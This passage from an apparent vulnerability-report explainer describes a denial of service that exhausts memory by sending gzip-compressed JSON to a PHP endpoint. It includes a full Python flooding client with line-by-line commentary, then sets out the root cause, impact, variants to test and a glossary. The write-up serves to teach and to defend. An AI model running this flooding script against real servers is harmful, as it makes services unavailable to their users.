  • respond(200, [ ... ]); sends the success response with all the measurements.
  • "encoding" reports the declared and detected encoding and whether the body was gzip.
  • "sizes" reports compressed and decompressed sizes and the ratio between them.
  • "raw_preview" shows the first 32 bytes of the body in hex and as text.
  • "timings" reports decompression time, JSON decode time and total request time in milliseconds.
  • "memory_simulation" reports the stored keys, how many there are, and current memory usage in bytes.
  • catch (Throwable $e) catches any error thrown inside the try block.
  • respond(500, ...) answers 500, "server error", with the error message.

On success the response reports the declared and detected encoding, the compressed and decompressed sizes with the ratio between them, a hex and text preview of the first bytes of the body, timings for decompression, JSON decoding and the total request, and the stored keys with the current memory usage. These measurements are what make the per-stage cost visible.

Why this matters: without the numbers, the researcher would only see that the server died. With them, he can see which stage costs what, and show that the decompressed size is far larger than the request size.

The client code

This is the full client. It generates the JSON, compresses it, prints the compression statistics, and sends requests from a configurable number of threads.

Python
import requests
import sys
import json
import gzip
import time
import threading
URL = "http://localhost/index.php"
num_keys = int(sys.argv[1]) if len(sys.argv) > 1 else 100
payload = {
    f"user_{i}": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    for i in range(num_keys)
}
json_data = json.dumps(payload).encode("utf-8")
compressed_data = gzip.compress(json_data, compresslevel=9)
assert gzip.decompress(compressed_data) == json_data
headers = {
    "Content-Type": "application/json",
    "Content-Encoding": "gzip"
}
print("[+] JSON keys:", len(payload))
print("[+] Original size:", len(json_data), "bytes")
print("[+] Compressed size:", len(compressed_data), "bytes")
print("[+] GZIP signature:", compressed_data[:2].hex())
print("[+] Compression ratio:",
      round(len(json_data) / len(compressed_data), 2), "x")
def send_request():
    while 1:
        start = time.time()
        response = requests.post(
            URL,
            headers=headers,
            data=compressed_data,
            timeout=15
        )
        elapsed = time.time() - start
        print("\n[+] HTTP status:", response.status_code)
        print("[+] Request time:", round(elapsed, 5), "seconds")
        print("\n[+] SERVER RESPONSE:")
        print("Response length:", len(response.content))
        print("Content-Type:", response.headers.get("Content-Type"))
        try:
            print(json.dumps(response.json(), indent=4))
        except requests.exceptions.JSONDecodeError:
            print("Raw response:", repr(response.text))
threads = []
for i in range(0,int(sys.argv[2])):
    print("[+]setting threads:",i)
    t = threading.Thread(target=send_request)
    t.start()
    threads.append(t)
print("[+]start attack")
(threading.Event()).set()

Line by line:

  • import requests, import sys, import json, import gzip, import time, import threading load the libraries the script needs: HTTP requests, command-line arguments, JSON handling, GZIP compression, timing and threads.
  • URL = "http://localhost/index.php" sets the target address. localhost means the same machine the script runs on.
  • num_keys = int(sys.argv[1]) if len(sys.argv) > 1 else 100 reads the first command-line argument as the number of keys, defaulting to 100 if none is given.
  • The payload dictionary comprehension builds the repetitive data, as explained in step 1.
  • json_data = json.dumps(payload).encode("utf-8") turns it into JSON bytes.
  • compressed_data = gzip.compress(json_data, compresslevel=9) compresses it at maximum level.
  • assert gzip.decompress(compressed_data) == json_data verifies the round trip.
  • The headers dictionary holds the two headers, content type and encoding.
  • The five print lines report the key count, original size, compressed size, GZIP signature and compression ratio.
  • def send_request(): defines the per-thread function, explained in step 6.
  • The threads list and the for loop start one thread per command-line argument, as explained in step 6.
  • (threading.Event()).set() is a leftover line that does nothing useful here.

Root cause

The endpoint accepts compressed input and decompresses it, but the only limit on the decompressed output is the 10 MB cap passed to gzdecode(). That cap does not bound what happens next: json_decode() builds PHP arrays from the decompressed string, and those arrays can use considerably more memory than the string itself. The simulated application step then copies the data into a second array, doubling the application-level storage. With many concurrent requests, each holding its own compressed body, decompressed string, decoded array and copy, memory use adds up across PHP-FPM workers until the OOM killer terminates Apache.

The researcher's framing is that GZIP is not the problem by itself. The problem is accepting compressed input without properly considering decompression limits, memory consumption, request concurrency and application-level processing. The 10 MB decompression cap only covers decompression, not what happens afterwards.

In plain words: the server checks the size of the parcel but not the size of the unpacked contents, and it lets many visitors unpack at once. Each visitor is cheap; a hundred at once, each filling a trolley, is not.

Impact

In the researcher's own test, the OOM killer terminated Apache and the server was completely unreachable until it was restarted. The effect depends on the number of PHP-FPM workers, available memory and server configuration, and on how much processing the application performs after decoding. The researcher describes the endpoint as a simplified simulation, so the real-world cost depends on what a given application does with the decoded data.

  • Denial of service: making a service unavailable to its normal users. That is the effect here, caused by exhausting memory rather than by breaking in.

Fix

The researcher does not describe a change made to the code. The conclusion is that accepting compressed input requires considering decompression limits, memory consumption, request concurrency and application-level processing. The 10 MB gzdecode() cap alone is not sufficient.

Variants to test

  1. Other decompression entry points. Look for endpoints that call gzdecode(), gzuncompress(), zlib_decode() or similar with a size cap but no bound on the decoded structure.
  2. Other structured formats. The same pattern applies wherever a compressed body is parsed into objects or arrays, such as compressed XML or compressed form data.
  3. Concurrency without a per-request cap. Send the same small compressed payload from many threads against a staging instance and watch worker memory.
  4. Application-level amplification. Add realistic post-decode work, such as validation or serialisation, and measure whether the per-request cost rises further.
  • Staging instance: a copy of a service used for testing, separate from the real one.
  • Serialisation: turning a data structure into a stream of bytes or text that can be stored or sent.

Glossary

  • Apache: web server software that receives HTTP requests and passes them to programs such as PHP.
  • Array: an ordered collection of values, often key/value pairs, held in memory by a program.
  • Compressed body: the main content of a request after it has been compressed, here a GZIP blob.
  • Concurrency: several requests being handled at the same time.
  • Content-Encoding: an HTTP header stating how the body has been compressed, for example gzip or identity.
  • Content-Type: an HTTP header stating what kind of data the body contains, for example application/json.
  • Endpoint: one specific address on a server that performs one specific job.
  • GZIP: a compression format that shrinks data and can restore it exactly.
  • GZIP signature: the first two bytes of a GZIP blob, 1f 8b, used to recognise the format.
  • Header: a small labelled line attached to a request or response carrying metadata.
  • identity: the encoding name meaning no compression.
  • Isolated test environment: a machine or network set aside for experiments so nothing real is affected.
  • JSON: a text format for structured data made of keys and values.
  • json_decode(): a PHP function that turns JSON text into PHP data structures.
  • gzdecode(): a PHP function that unpacks GZIP data, optionally with a maximum output size.
  • OOM killer: the operating system component that kills a process when memory runs out.
  • PHP: a programming language commonly used for the server side of websites.
  • PHP-FPM worker: a server process that runs PHP code for one request at a time; a pool of them handles requests in parallel.
  • Request: a message sent to a server asking it to do something.
  • Response: the message a server sends back.
  • Serialisation: turning a data structure into bytes or text that can be stored or sent.
  • Server: a computer that answers requests from other computers.
  • Staging instance: a test copy of a service, separate from the real one.
  • Thread: a separate line of execution inside one program, letting it do several things at once.
  • VPS: a virtual private server, a machine rented in a data centre.
  • 415: HTTP status code meaning unsupported media type.
  • 400: HTTP status code meaning bad request.
  • 405: HTTP status code meaning method not allowed.
  • 500: HTTP status code meaning server error.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.